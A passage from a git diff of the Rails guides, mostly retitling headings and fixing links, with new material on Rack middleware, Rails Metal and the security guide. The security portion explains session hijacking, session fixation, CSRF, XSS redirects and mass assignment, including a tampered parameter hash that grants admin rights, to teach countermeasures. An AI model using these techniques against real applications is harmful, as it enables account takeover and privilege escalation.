Ruby":#installing-gc-patched-ruby -h5. GC runs +h5. GC Runs GC Runs measures the number of times GC was invoked for the performance test case. Mode: Benchmarking "Requires GC Patched Ruby":#installing-gc-patched-ruby -h5. GC time +h5. GC Time GC Time measures the amount of time spent in GC for the performance test case. Mode: Benchmarking "Requires GC Patched Ruby":#installing-gc-patched-ruby -h4. Understanding the output +h4. Understanding the Output Performance tests generate different outputs inside +tmp/performance+ directory depending on their mode and metric. @@ -217,7 +217,7 @@ h5. Benchmarking In benchmarking mode, performance tests generate two types of outputs: -h6. Command line +h6. Command Line This is the primary form of output in benchmarking mode. Example: @@ -230,7 +230,7 @@ BrowsingTest#test_homepage (31 ms warmup) gc_time: 19 ms </shell> -h6. CSV files +h6. CSV Files Performance test results are also appended to +.csv+ files inside +tmp/performance+. For example, running the default +BrowsingTest#test_homepage+ will generate following five files: @@ -262,7 +262,7 @@ h5. Profiling In profiling mode, you can choose from four types of output. -h6. Command line +h6. Command Line This is a very basic form of output in profiling mode: @@ -283,15 +283,15 @@ Graph output shows how long each method takes to run, which methods call it and h6. Tree -Tree output is profiling information in calltree format for use by http://kcachegrind.sourceforge.net/html/Home.html[kcachegrind] and similar tools. +Tree output is profiling information in calltree format for use by "kcachegrind":http://kcachegrind.sourceforge.net/html/Home.html and similar tools. -h4. Tuning test runs +h4. Tuning Test Runs By default, each performance test is run +4 times+ in benchmarking mode and +1 time+ in profiling. However, test runs can easily be configured. WARNING: Performance test configurability is not yet enabled in Rails. But it will be soon. -h4. Performance test environment +h4. Performance Test Environment Performance tests are run in the +development+ environment. But running performance tests will set the following configuration parameters: @@ -303,7 +303,7 @@ Rails.logger.level = ActiveSupport::BufferedLogger::INFO As +ActionController::Base.perform_caching+ is set to +true+, performance tests will behave much as they do in the +production+ environment. -h4. Installing GC-patched Ruby +h4. Installing GC-Patched Ruby To get the best from Rails performance tests, you need to build a special Ruby binary with some super powers - "GC patch":http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch for measuring GC Runs/Time and memory/object allocation. @@ -313,7 +313,7 @@ h5. Installation Compile Ruby and apply this "GC Patch":http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch. -h5. Download and extract +h5. Download and Extract <shell> [lifo@null ~]$ mkdir rubygc @@ -322,13 +322,13 @@ h5. Download and extract [lifo@null ~]$ cd <ruby-version> </shell> -h5. Apply the patch +h5. Apply the Patch <shell> [lifo@null ruby-version]$ curl http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch | patch -p0 </shell> -h5. Configure and install +h5. Configure and Install The following will install ruby in your home directory's +/rubygc+ directory. Make sure to replace +<homedir>+ with a full patch to your actual home directory. @@ -337,7 +337,7 @@ The following will install ruby in your home directory's +/rubygc+ directory. Ma [lifo@null ruby-version]$ make && make install </shell> -h5. Prepare aliases +h5. Prepare Aliases For convenience, add the following lines in your +~/.profile+: @@ -349,7 +349,7 @@ alias gcirb='~/rubygc/bin/irb' alias gcrails='~/rubygc/bin/rails' </shell> -h5. Install Rubygems and dependency gems +h5. Install Rubygems and Dependency Gems Download "Rubygems":http://rubyforge.org/projects/rubygems and install it from source. Rubygem's README file should have necessary installation instructions. @@ -446,11 +446,11 @@ This benchmarks the code enclosed in the +Project.benchmark("Creating project") Creating project (185.3ms) </ruby> -Please refer to the "API docs":http://api.rubyonrails.com/classes/ActiveRecord/Base.html#M001336 for additional options to +benchmark()+ +Please refer to the "API docs":http://api.rubyonrails.org/classes/ActiveRecord/Base.html#M001336 for additional options to +benchmark()+ h4. Controller -Similarly, you could use this helper method inside "controllers":http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715 +Similarly, you could use this helper method inside "controllers":http://api.rubyonrails.org/classes/ActionController/Benchmarking/ClassMethods.html#M000715 <ruby> def process_projects @@ -465,7 +465,7 @@ NOTE: +benchmark+ is a class method inside controllers h4. View -And in "views":http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715: +And in "views":http://api.rubyonrails.org/classes/ActionController/Benchmarking/ClassMethods.html#M000715: <erb> <% benchmark("Showing projects partial") do %> @@ -496,21 +496,21 @@ Michael Koziarski has an "interesting blog post":http://www.therailsway.com/2009 h3. Useful Links -h4. Rails plugins and gems +h4. Rails Plugins and Gems * "Rails Analyzer":http://rails-analyzer.rubyforge.org -* "Palmist":http://www.flyingmachinestudios.com/projects +* "Palmist":http://www.flyingmachinestudios.com/projects/ * "Rails Footnotes":http://github.com/josevalim/rails-footnotes/tree/master * "Query Reviewer":http://github.com/dsboulder/query_reviewer/tree/master -h4. Generic tools +h4. Generic Tools -* "httperf":http://www.hpl.hp.com/research/linux/httperf +* "httperf":http://www.hpl.hp.com/research/linux/httperf/ * "ab":http://httpd.apache.org/docs/2.2/programs/ab.html -* "JMeter":http://jakarta.apache.org/jmeter +* "JMeter":http://jakarta.apache.org/jmeter/ * "kcachegrind":http://kcachegrind.sourceforge.net/html/Home.html -h4. Tutorials and documentation +h4. Tutorials and Documentation * "ruby-prof API Documentation":http://ruby-prof.rubyforge.org * "Request Profiling Railscast":http://railscasts.com/episodes/98-request-profiling - Outdated, but useful for understanding call graphs diff --git a/railties/guides/source/plugins.textile b/railties/guides/source/plugins.textile index d2fb157e35..55ecdcd3d1 100644 --- a/railties/guides/source/plugins.textile +++ b/railties/guides/source/plugins.textile @@ -31,7 +31,7 @@ endprologue. h3. Setup -h4. Create the basic app +h4. Create the Basic Application The examples in this guide require that you have a working rails application. To create a simple rails app execute: @@ -49,7 +49,7 @@ Then navigate to http://localhost:3000/birds. Make sure you have a functioning NOTE: The aforementioned instructions will work for sqlite3. For more detailed instructions on how to create a rails app for other databases see the API docs. -h4. Generate the plugin skeleton +h4. Generate the Plugin Skeleton Rails ships with a plugin generator which creates a basic plugin skeleton. Pass the plugin name, either 'CamelCased' or 'under_scored', as an argument. Pass +--with-generator+ to add an example generator also. @@ -91,7 +91,7 @@ create vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb create vendor/plugins/yaffle/generators/yaffle/USAGE </pre> -h4. Organize your files +h4. Organize Your Files To make it easy to organize your files and to make the plugin more compatible with GemPlugins, start out by altering your file system to look like this: @@ -211,7 +211,7 @@ end Now whenever you write a test that requires the database, you can call 'load_schema'. -h4. Run the plugin tests +h4. Run the Plugin Tests Once you have these files in place, you can write your first test to ensure that your plugin-testing setup is correct. By default rails generates a file in 'vendor/plugins/yaffle/test/yaffle_test.rb' with a sample test. Replace the contents of that file with: @@ -275,7 +275,7 @@ rake DB=postgresql Now you are ready to test-drive your plugin! -h3. Extending core classes +h3. Extending Core Classes This section will explain how to add a method to String that will be available anywhere in your rails app. @@ -339,7 +339,7 @@ $ ./script/console => "squawk! Hello World" </shell> -h4. Working with init.rb +h4. Working with +init.rb+ When rails loads plugins it looks for the file named 'init.rb' or 'rails/init.rb'. However, when the plugin is initialized, 'init.rb' is invoked via +eval+ (not +require+) so it has slightly different behavior. @@ -369,7 +369,7 @@ class ::Hash end </ruby> -h3. Add an 'acts_as' method to Active Record +h3. Add an "acts_as" Method to Active Record A common pattern in plugins is to add a method called 'acts_as_something' to models. In this case, you want to write a method called 'acts_as_yaffle' that adds a 'squawk' method to your models. @@ -425,7 +425,7 @@ end With structure you can easily separate the methods that will be used for the class (like +Hickwall.some_method+) and the instance (like +@hickwell.some_method+). -h4. Add a class method +h4. Add a Class Method This plugin will expect that you've added a method to your model named 'last_squawk'. However, the plugin users might have already defined a method on their model named 'last_squawk' that they use for something else. This plugin will allow the name to be changed by adding a class method called 'yaffle_text_field'. @@ -478,7 +478,7 @@ end ActiveRecord::Base.send :include, Yaffle </ruby> -h4. Add an instance method +h4. Add an Instance Method This plugin will add a method named 'squawk' to any Active Record objects that call 'acts_as_yaffle'. The 'squawk' method will simply set the value of one of the fields in the database. @@ -800,7 +800,7 @@ Many plugins ship with generators. When you created the plugin above, you speci Building generators is a complex topic unto itself and this section will cover one small aspect of generators: generating a simple text file. -h4. Testing generators +h4. Testing Generators Many rails plugin authors do not test their generators, however testing generators is quite simple. A typical generator test does the following: @@ -864,7 +864,7 @@ class YaffleDefinitionGenerator < Rails::Generator::Base end </ruby> -h4. The USAGE file +h4. The +USAGE+ File If you plan to distribute your plugin, developers will expect at least a minimum of documentation. You can add simple documentation to the generator by updating the USAGE file. @@ -891,7 +891,7 @@ Description: Adds a file with the definition of a Yaffle to the app's main directory </shell> -h3. Add a custom generator command +h3. Add a Custom Generator Command You may have noticed above that you can used one of the built-in rails migration commands +migration_template+. If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods. @@ -1144,7 +1144,7 @@ end Here are a few possibilities for how to allow developers to use your plugin migrations: -h4. Create a custom rake task +h4. Create a Custom Rake Task * *vendor/plugins/yaffle/tasks/yaffle_tasks.rake:* @@ -1165,7 +1165,7 @@ namespace :db do end </ruby> -h4. Call migrations directly +h4. Call Migrations Directly * *vendor/plugins/yaffle/lib/yaffle.rb:* @@ -1191,7 +1191,7 @@ end NOTE: several plugin frameworks such as Desert and Engines provide more advanced plugin functionality. -h4. Generate migrations +h4. Generate Migrations Generating migrations has several advantages over other methods. Namely, you can allow other developers to more easily customize the migration. The flow looks like this: @@ -1417,7 +1417,7 @@ h4. References * http://www.mbleigh.com/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins * http://weblog.jamisbuck.org/2006/10/26/monkey-patching-rails-extending-routes-2. -h4. Contents of 'lib/yaffle.rb' +h4. Contents of +lib/yaffle.rb+ * *vendor/plugins/yaffle/lib/yaffle.rb:* @@ -1440,7 +1440,7 @@ end # end </ruby> -h4. Final plugin directory structure +h4. Final Plugin Directory Structure The final plugin should have a directory structure that looks something like this: diff --git a/railties/guides/source/rails_on_rack.textile b/railties/guides/source/rails_on_rack.textile index e300e047b4..07ca1624f4 100644 --- a/railties/guides/source/rails_on_rack.textile +++ b/railties/guides/source/rails_on_rack.textile @@ -15,7 +15,7 @@ h3. Introduction to Rack bq. Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call. -- "Rack API Documentation":http://rack.rubyforge.org/doc +- "Rack API Documentation":http://rack.rubyforge.org/doc/ Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the following links: @@ -30,7 +30,7 @@ h4. Rails Application's Rack Object <tt>ActionController::Dispatcher.new</tt> is the primary Rack application object of a Rails application. Any Rack compliant web server should be using +ActionController::Dispatcher.new+ object to serve a Rails application.</p> -h4. script/server +h4. +script/server+ <tt>script/server</tt> does the basic job of creating a +Rack::Builder+ object and starting the webserver. This is Rails' equivalent of Rack's +rackup+ script. @@ -55,7 +55,7 @@ Middlewares used in the code above are primarily useful only in the development |Rails::Rack::Static|Serves static files inside +RAILS_ROOT/public+ directory| |Rails::Rack::Debugger|Starts Debugger| -h4. rackup +h4. +rackup+ To use +rackup+ instead of Rails' +script/server+, you can put the following inside +config.ru+ of your Rails application's root directory: @@ -119,9 +119,7 @@ h5. Adding a Middleware You can add a new middleware to the middleware stack using any of the following methods: -* +config.middleware.add(new_middleware, args)+ - Adds the new middleware at the bottom of the middleware stack. - -* +config.middleware.insert(index, new_middleware, args)+ - Adds the new middleware at the position specified by +index+ in the middleware stack. +* +config.middleware.use(new_middleware, args)+ - Adds the new middleware at the bottom of the middleware stack. * +config.middleware.insert_before(existing_middleware, new_middleware, args)+ - Adds the new middleware before the specified existing middleware in the middleware stack. @@ -153,6 +151,16 @@ You can swap an existing middleware in the middleware stack using +config.middle config.middleware.swap ActionController::Failsafe, Lifo::Failsafe </ruby> +h5. Middleware Stack is an Array + +The middleware stack behaves just like a normal +Array+. You can use any +Array+ methods to insert, reorder, or remove items from the stack. Methods described in the section above are just convenience methods. + +For example, the following removes the middleware matching the supplied class name: + +<ruby> +config.middleware.delete(middleware) +</ruby> + h4. Internal Middleware Stack Much of Action Controller's functionality is implemented as Middlewares. The following table explains the purpose of each of them: @@ -197,10 +205,32 @@ use Rack::Head run ActionController::Dispatcher.new </shell> +h4. Using Rack Builder + +The following shows how to replace use +Rack::Builder+ instead of the Rails supplied +MiddlewareStack+. + +<strong>Clear the existing Rails middleware stack</strong> + +<ruby> +# environment.rb +config.middleware.clear +</ruby> + +<br /> +<strong>Add a +config.ru+ file to +RAILS_ROOT+</strong> + +<ruby> +# config.ru +use MyOwnStackFromStratch +run ActionController::Dispatcher.new +</ruby> + h3. Rails Metal Applications Rails Metal applications are minimal Rack applications specially designed for integrating with a typical Rails application. As Rails Metal Applications skip all of the Action Controller stack, serving a request has no overhead from the Rails framework itself. This is especially useful for infrequent cases where the performance of the full stack Rails framework is an issue. +Ryan Bates' railscast on the "Rails Metal":http://railscasts.com/episodes/150-rails-metal provides a nice walkthrough generating and using Rails Metal. + h4. Generating a Metal Application Rails provides a generator called +metal+ for creating a new Metal application: @@ -226,6 +256,8 @@ class Poller end </ruby> +Metal applications within +app/metal+ folders in plugins will also be discovered and added to the list + Metal applications are an optimization. You should make sure to "understand the related performance implications":http://weblog.rubyonrails.org/2008/12/20/performance-of-rails-metal before using it. h4. Execution Order @@ -244,10 +276,31 @@ def call(env) end </ruby> -In the code above, +@metals+ is an ordered ( alphabetical ) hash of metal applications. Due to the alphabetical ordering, +aaa.rb+ will come before +bbb.rb+ in the metal chain. +In the code above, +@metals+ is an ordered hash of metal applications. Due to the default alphabetical ordering, +aaa.rb+ will come before +bbb.rb+ in the metal chain. + +It is, however, possible to override the default ordering in your environment. Simply add a line like the following to +config/environment.rb+ + +<ruby> +config.metals = ["Bbb", "Aaa"] +</ruby> + +Each string in the array should be the name of your metal class. If you do this then be warned that any metal applications not listed will not be loaded. WARNING: Metal applications cannot return the HTTP Status +404+ to a client, as it is used for continuing the Metal chain execution. Please use normal Rails controllers or a custom middleware if returning +404+ is a requirement. +h3. Resources + +h4. Learning Rack + +* "Official Rack Website":http://rack.github.com +* "Introducing Rack":http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html +* "Ruby on Rack #1 - Hello Rack!":http://m.onkey.org/2008/11/17/ruby-on-rack-1 +* "Ruby on Rack #2 - The Builder":http://m.onkey.org/2008/11/18/ruby-on-rack-2-rack-builder + +h4. Understanding Middlewares + +* "Railscast on Rack Middlewares":http://railscasts.com/episodes/151-rack-middleware + h3. Changelog "Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/58 diff --git a/railties/guides/source/routing.textile b/railties/guides/source/routing.textile index c26a5cd6ee..a4d9e140d5 100644 --- a/railties/guides/source/routing.textile +++ b/railties/guides/source/routing.textile @@ -39,7 +39,7 @@ Then the routing engine is the piece that translates that to a link to a URL suc NOTE: Patient needs to be declared as a resource for this style of translation via a named route to be available. -h3. Quick Tour of Routes.rb +h3. Quick Tour of +routes.rb+ There are two components to routing in Rails: the routing engine itself, which is supplied as part of Rails, and the file +config/routes.rb+, which contains the actual routes that will be used by your application. Learning exactly what you can put in +routes.rb+ is the main topic of this guide, but before we dig in let's get a quick overview. @@ -221,7 +221,7 @@ Although the conventions of RESTful routing are likely to be sufficient for many You can also add additional routes via the +:member+ and +:collection+ options, which are discussed later in this guide. -h5. Using :controller +h5. Using +:controller+ The +:controller+ option lets you use a controller name that is different from the public-facing resource name. For example, this routing entry: @@ -270,7 +270,7 @@ end That would give you routing for +admin/photos+ and +admin/videos+ controllers. -h5. Using :singular +h5. Using +:singular+ If for some reason Rails isn't doing what you want in converting the plural resource name to a singular name in member routes, you can override its judgment with the +:singular+ option: @@ -280,9 +280,9 @@ map.resources :teeth, :singular => "tooth" TIP: Depending on the other code in your application, you may prefer to add additional rules to the +Inflector+ class instead. -h5. Using :requirements +h5. Using +:requirements+ -You an use the +:requirements+ option in a RESTful route to impose a format on the implied +:id+ parameter in the singular routes. For example: +You can use the +:requirements+ option in a RESTful route to impose a format on the implied +:id+ parameter in the singular routes. For example: <ruby> map.resources :photos, :requirements => {:id => /[A-Z][A-Z][0-9]+/} @@ -290,11 +290,11 @@ map.resources :photos, :requirements => {:id => /[A-Z][A-Z][0-9]+/} This declaration constrains the +:id+ parameter to match the supplied regular expression. So, in this case, +/photos/1+ would no longer be recognized by this route, but +/photos/RR27+ would. -h5. Using :conditions +h5. Using +:conditions+ Conditions in Rails routing are currently used only to set the HTTP verb for individual routes. Although in theory you can set this for RESTful routes, in practice there is no good reason to do so. (You'll learn more about conditions in the discussion of classic routing later in this guide.) -h5. Using :as +h5. Using +:as+ The +:as+ option lets you override the normal naming for the actual generated paths. For example: @@ -315,7 +315,7 @@ will recognize incoming URLs containing +image+ but route the requests to the Ph NOTE: The helpers will be generated with the name of the resource, not the path name. So in this case, you'd still get +photos_path+, +new_photo_path+, and so on. -h5. Using :path_names +h5. Using +:path_names+ The +:path_names+ option lets you override the automatically-generated "new" and "edit" segments in URLs: @@ -338,7 +338,7 @@ TIP: If you find yourself wanting to change this option uniformly for all of you config.action_controller.resources_path_names = { :new => 'make', :edit => 'change' } </ruby> -h5. Using :path_prefix +h5. Using +:path_prefix+ The +:path_prefix+ option lets you add additional parameters that will be prefixed to the recognized paths. For example, suppose each photo in your application belongs to a particular photographer. In that case, you might declare this route: @@ -357,7 +357,7 @@ NOTE: In most cases, it's simpler to recognize URLs of this sort by creating nes NOTE: You can also use +:path_prefix+ with non-RESTful routes. -h5. Using :name_prefix +h5. Using +:name_prefix+ You can use the :name_prefix option to avoid collisions between routes. This is most useful when you have two resources with the same name that use +:path_prefix+ to map differently. For example: @@ -372,7 +372,7 @@ This combination will give you route helpers such as +photographer_photos_path+ NOTE: You can also use +:name_prefix+ with non-RESTful routes. -h5. Using :only and :except +h5. Using +:only+ and +:except+ By default, Rails creates routes for all seven of the default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the +:only+ and +:except+ options to fine-tune this behavior. The +:only+ option specifies that only certain routes should be generated: @@ -432,7 +432,7 @@ In addition to the routes for magazines, this declaration will also create route This will also create routing helpers such as +magazine_ads_url+ and +edit_magazine_ad_path+. -h5. Using :name_prefix +h5. Using +:name_prefix+ The +:name_prefix+ option overrides the automatically-generated prefix in nested route helpers. For example, @@ -457,7 +457,7 @@ ads_url(@magazine) edit_ad_path(@magazine, @ad) </ruby> -h5. Using :has_one and :has_many +h5. Using +:has_one+ and +:has_many+ The +:has_one+ and +:has_many+ options provide a succinct notation for simple nested routes. Use +:has_one+ to nest a singleton resource, or +:has_many+ to nest a plural resource: @@ -748,7 +748,7 @@ end The importance of +map.with_options+ has declined with the introduction of RESTful routes. -h3. Formats and respond_to +h3. Formats and +respond_to+ There's one more way in which routing can do different things depending on differences in the incoming HTTP request: by issuing a response that corresponds to what the request specifies that it will accept. In Rails routing, you can control this with the special +:format+ parameter in the route. @@ -796,7 +796,7 @@ h3. The Empty Route Don't confuse the default routes with the empty route. The empty route has one specific purpose: to route requests that come in to the root of the web site. For example, if your site is example.com, then requests to +http://example.com+ or +http://example.com/+ will be handled by the empty route. -h4. Using map.root +h4. Using +map.root+ The preferred way to set up the empty route is with the +map.root+ command: @@ -829,7 +829,7 @@ h3. Inspecting and Testing Routes Routing in your application should not be a "black box" that you never open. Rails offers built-in tools for both inspecting and testing routes. -h4. Seeing Existing Routes with rake +h4. Seeing Existing Routes with +rake+ If you want a complete list of all of the available routes in your application, run the +rake routes+ command. This will dump all of your routes to the console, in the same order that they appear in +routes.rb+. For each route, you'll see: @@ -851,7 +851,7 @@ TIP: You'll find that the output from +rake routes+ is much more readable if you h4. Testing Routes -Routes should be included in your testing strategy (just like the rest of your application). Rails offers three "built-in assertions":http://api.rubyonrails.com/classes/ActionController/Assertions/RoutingAssertions.html designed to make testing routes simpler: +Routes should be included in your testing strategy (just like the rest of your application). Rails offers three "built-in assertions":http://api.rubyonrails.org/classes/ActionController/Assertions/RoutingAssertions.html designed to make testing routes simpler: * +assert_generates+ * +assert_recognizes+ diff --git a/railties/guides/source/security.textile b/railties/guides/source/security.textile index 5797eb888b..1b64cc1be7 100644 --- a/railties/guides/source/security.textile +++ b/railties/guides/source/security.textile @@ -23,13 +23,13 @@ The Gartner Group however estimates that 75% of attacks are at the web applicati The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at. -In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the <a href="#additionalresources">Additional Resources</a> chapter). I do it manually because that‘s how you find the nasty logical security problems. +In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the <a href="#additional-resources">Additional Resources</a> chapter). I do it manually because that‘s how you find the nasty logical security problems. h3. Sessions A good place to start looking at security is with sessions, which can be vulnerable to particular attacks. -h4. What are sessions? +h4. What are Sessions? -- _HTTP is a stateless protocol. Sessions make it stateful._ @@ -49,7 +49,7 @@ h4. Session id A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date. -h4. Session hijacking +h4. Session Hijacking -- _Stealing a user's session id lets an attacker use the web application in the victim's name._ @@ -67,7 +67,7 @@ Hence, the cookie serves as temporary authentication for the web application. Ev The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10–$1000 (depending on the available amount of funds), $0.40–$20 for credit card numbers, $1–$8 for online auction site accounts and $4–$30 for email passwords, according to the "Symantec Global Internet Security Threat Report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf. -h4. Session guidelines +h4. Session Guidelines -- _Here are some general guidelines on sessions._ @@ -77,7 +77,7 @@ This will also be a good idea, if you modify the structure of an object and old * _(highlight)Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data. -h4. Session storage +h4. Session Storage -- _Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecordStore and CookieStore._ @@ -100,7 +100,7 @@ config.action_controller.session = { There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it. -h4. Replay attacks for CookieStore sessions +h4. Replay Attacks for CookieStore Sessions -- _Another sort of attack you have to be aware of when using CookieStore is the replay attack._ @@ -116,7 +116,7 @@ Including a nonce (a random value) in the session solves replay attacks. A nonce The best _(highlight)solution against it is not to store this kind of data in a session, but in the database_. In this case store the credit in the database and the logged_in_user_id in the session. -h4. Session fixation +h4. Session Fixation -- _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._ @@ -131,7 +131,7 @@ This attack focuses on fixing a user's session id known to the attacker, and for # As the new trap session is unused, the web application will require the user to authenticate. # From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack. -h4. Session fixation – Countermeasures +h4. Session Fixation – Countermeasures -- _One line of code will protect you from session fixation._ @@ -145,7 +145,7 @@ If you use the popular RestfulAuthentication plugin for user management, add res Another countermeasure is to _(highlight)save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _(highlight)These might change over the course of a session_, so these users will not be able to use your application, or only in a limited way. -h4. Session expiry +h4. Session Expiry -- _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._ @@ -172,7 +172,7 @@ self.delete_all "updated_at < '#{time.to_s(:db)}' OR created_at < '#{2.days.ago.to_s(:db)}'" </ruby> -h3. Cross-Site Reference Forgery (CSRF) +h3. Cross-Site Request Forgery (CSRF) -- _This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands._ @@ -278,7 +278,7 @@ Another redirection and self-contained XSS attack works in Firefox and Opera by This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, _(highlight)do not allow the user to supply (parts of) the URL to be redirected to_. -h4. File uploads +h4. File Uploads -- _Make sure file uploads don't overwrite important files, and process media files asynchronously._ @@ -303,7 +303,7 @@ A significant disadvantage of synchronous processing of file uploads (as the att The solution to this is best to _(highlight)process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background. -h4. Executable code in file uploads +h4. Executable Code in File Uploads -- _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory._ @@ -311,7 +311,7 @@ The popular Apache web server has an option called DocumentRoot. This is the hom _(highlight)If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards. -h4. File downloads +h4. File Downloads -- _Make sure users cannot download arbitrary files._ @@ -333,11 +333,11 @@ send_file filename, :disposition => 'inline' Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way. -h3. Intranet and Admin security +h3. Intranet and Admin Security -- _Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world._ -In 2007 there was the first tailor-made "Trojan":http://www.symantec.com/enterprise/security_response/weblog/2007/08/a_monster_trojan.html which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.
+In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.
*XSS* If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS. @@ -347,15 +347,15 @@ Refer to the Injection section for countermeasures against XSS. It is _(highligh *CSRF* Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface. -A real-world example is a "router reconfiguration by CSRF":http://www.symantec.com/enterprise/security_response/weblog/2008/01/driveby_pharming_in_the_
wild.html. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen. +A real-world example is a "router reconfiguration by CSRF":http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen. -Another example changed Google Adsense's e-mail address and password by "CSRF":http://www.0x000000.com/index.php?i=213&bin=11010101. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.
+Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.
Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination. For _(highlight)countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section_. -h4. Additional precautions +h4. Additional Precautions The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this: @@ -365,7 +365,7 @@ The common admin interface works like this: it's located at www.example.com/admi * _(highlight)Put the admin interface to a special sub-domain_ such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa. -h3. Mass assignment +h3. Mass Assignment -- _Without any precautions Model.new(params[:model]) allows attackers to set any database column's value._ @@ -392,15 +392,31 @@ params[:user] #=> {:name => “ow3ned”, :admin => true} So if you create a new user using mass-assignment, it may be too easy to become an administrator. +Note that this vulnerability is not restricted to database columns. Any setter method, unless explicitly protected, is accessible via the <tt>attributes=</tt> method. In fact, this vulnerability is extended even further with the introduction of nested mass assignment (and nested object forms) in rails 2.3. The +accepts_nested_attributes_for+ declaration provides us the ability to extend mass assignment to model associations (+has_many+, +has_one+, +has_and_belongs_to_many+). For example: + +<ruby> + class Person < ActiveRecord::Base + has_many :credits + + accepts_nested_attributes_for :children + end + + class Child < ActiveRecord::Base + belongs_to :person + end +</ruby> + +As a result, the vulnerability is extended beyond simply exposing column assignment, allowing attackers the ability to create entirely new records in referenced tables (children in this case). + h4. Countermeasures -To avoid this, Rails provides two class methods in your ActiveRecord class to control access to your attributes. The attr_protected method takes a list of attributes that will not be accessible for mass-assignment. For 